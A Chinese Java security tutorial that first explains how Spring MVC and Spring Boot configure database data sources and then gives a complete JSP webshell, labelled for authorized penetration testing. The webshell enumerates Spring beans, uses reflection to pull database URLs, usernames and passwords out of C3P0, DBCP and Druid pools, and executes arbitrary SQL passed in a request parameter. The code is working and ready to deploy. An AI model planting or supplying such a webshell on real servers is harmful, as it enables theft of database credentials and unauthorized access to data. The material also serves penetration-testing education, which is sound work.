在Spring MVC中我们可以自由的选择第三方数据源,通常我们会定义一个DataSource Bean用于配置和初始化数据源对象,然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

在基于XML配置的SpringMVC中配置数据源:

  1. <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
  2. <property name="url" value="${jdbc.url}"/>
  3. <property name="username" value="${jdbc.username}"/>
  4. <property name="password" value="${jdbc.password}"/>
  5. ....
  6. />

如上,我们定义了一个id为dataSource的Spring Bean对象,usernamepassword都使用了${jdbc.XXX}表示,很明显${jdbc.username}并不是数据库的用户名,这其实是采用了Spring的property-placeholder制定了一个properties文件,使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

  1. <context:property-placeholder location="classpath:/config/jdbc.properties"/>

jdbc.properties内容:

  1. jdbc.driver=com.mysql.jdbc.Driver
  2. jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  3. jdbc.username=root
  4. jdbc.password=root

在Spring中我们只需要通过引用这个Bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource

  1. <!-- jdbcTemplate Spring JDBC 模版 -->
  2. <bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  3. <property name="dataSource" ref="dataSource"/>
  4. </bean>

SpringBoot配置数据源:
在SpringBoot中只需要在application.propertiesapplication.yml中定义spring.datasource.xxx即可完成DataSource配置。

  1. spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
  2. spring.datasource.username=root
  3. spring.datasource.password=root
  4. spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
  5. spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

spring-datasource.jsp获取数据源/执行SQL语句示例

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.springframework.context.ApplicationContext" %>
  3. <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
  4. <%@ page import="javax.sql.DataSource" %>
  5. <%@ page import="java.sql.Connection" %>
  6. <%@ page import="java.sql.PreparedStatement" %>
  7. <%@ page import="java.sql.ResultSet" %>
  8. <%@ page import="java.sql.ResultSetMetaData" %>
  9. <%@ page import="java.util.List" %>
  10. <%@ page import="java.util.ArrayList" %>
  11. <%@ page import="java.lang.reflect.InvocationTargetException" %>
  12. <style>
  13. th, td {
  14. border: 1px solid #C1DAD7;
  15. font-size: 12px;
  16. padding: 6px;
  17. color: #4f6b72;
  18. }
  19. </style>
  20. <%!
  21. // C3PO数据源类
  22. private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
  23. // DBCP数据源类
  24. private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
  25. //Druid数据源类
  26. private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
  27. /**
  28. * 获取所有Spring管理的数据源
  29. * @param ctx Spring上下文
  30. * @return 数据源数组
  31. */
  32. List<DataSource> getDataSources(ApplicationContext ctx) {
  33. List<DataSource> dataSourceList = new ArrayList<DataSource>();
  34. String[] beanNames = ctx.getBeanDefinitionNames();
  35. for (String beanName : beanNames) {
  36. Object object = ctx.getBean(beanName);
  37. if (object instanceof DataSource) {
  38. dataSourceList.add((DataSource) object);
  39. }
  40. }
  41. return dataSourceList;
  42. }
  43. /**
  44. * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
  45. * @param ctx Spring上下文对象
  46. * @return 数据源配置字符串
  47. * @throws ClassNotFoundException 数据源类未找到异常
  48. * @throws NoSuchMethodException 反射调用时方法没找到异常
  49. * @throws InvocationTargetException 反射调用异常
  50. * @throws IllegalAccessException 反射调用时不正确的访问异常
  51. */
  52. String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
  53. NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  54. List<DataSource> dataSourceList = getDataSources(ctx);
  55. for (DataSource dataSource : dataSourceList) {
  56. String className = dataSource.getClass().getName();
  57. String url = null;
  58. String UserName = null;
  59. String PassWord = null;
  60. if (C3P0_CLASS_NAME.equals(className)) {
  61. Class clazz = Class.forName(C3P0_CLASS_NAME);
  62. url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
  63. UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
  64. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  65. } else if (DBCP_CLASS_NAME.equals(className)) {
  66. Class clazz = Class.forName(DBCP_CLASS_NAME);
  67. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  68. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  69. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  70. } else if (DRUID_CLASS_NAME.equals(className)) {
  71. Class clazz = Class.forName(DRUID_CLASS_NAME);
  72. url = (String) clazz.getMethod("getUrl").invoke(dataSource);
  73. UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
  74. PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
  75. }
  76. return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
  77. }
  78. return null;
  79. }
  80. %>
  81. <%
  82. String sql = request.getParameter("sql");// 定义需要执行的SQL语句
  83. // 获取Spring的ApplicationContext对象
  84. ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
  85. // 获取Spring中所有的数据源对象
  86. List<DataSource> dataSourceList = getDataSources(ctx);
  87. // 检查是否获取到了数据源
  88. if (dataSourceList == null) {
  89. out.println("未找到任何数据源配置信息!");
  90. return;
  91. }
  92. out.println("<hr/>");
  93. out.println("Spring DataSource配置信息获取测试:");
  94. out.println("<hr/>");
  95. out.print(printDataSourceConfig(ctx));
  96. out.println("<hr/>");
  97. // 定义需要查询的SQL语句
  98. sql = sql != null ? sql : "select version()";
  99. for (DataSource dataSource : dataSourceList) {
  100. out.println("<hr/>");
  101. out.println("SQL语句:<font color='red'>" + sql + "</font>");
  102. out.println("<hr/>");
  103. //从数据源中获取数据库连接对象
  104. Connection connection = dataSource.getConnection();
  105. // 创建预编译查询对象
  106. PreparedStatement pstt = connection.prepareStatement(sql);
  107. // 执行查询并获取查询结果对象
  108. ResultSet rs = pstt.executeQuery();
  109. out.println("<table><tr>");
  110. // 获取查询结果的元数据对象
  111. ResultSetMetaData metaData = rs.getMetaData();
  112. // 从元数据中获取字段信息
  113. for (int i = 1; i <= metaData.getColumnCount(); i++) {
  114. out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
  115. }
  116. out.println("<tr/>");
  117. // 获取JDBC查询结果
  118. while (rs.next()) {
  119. out.println("<tr>");
  120. for (int i = 1; i <= metaData.getColumnCount(); i++) {
  121. out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
  122. }
  123. out.println("<tr/>");
  124. }
  125. rs.close();
  126. pstt.close();
  127. }
  128. %>

读取数据源信息和执行SQL语句效果:
2. Spring MVC 数据源 - 图1
上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句,其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource的对象,通过反射读取出C3P0DBCPDruid这三类数据源的数据库配置信息,最后还利用了DataSource获取了Connection对象实现了数据库查询功能。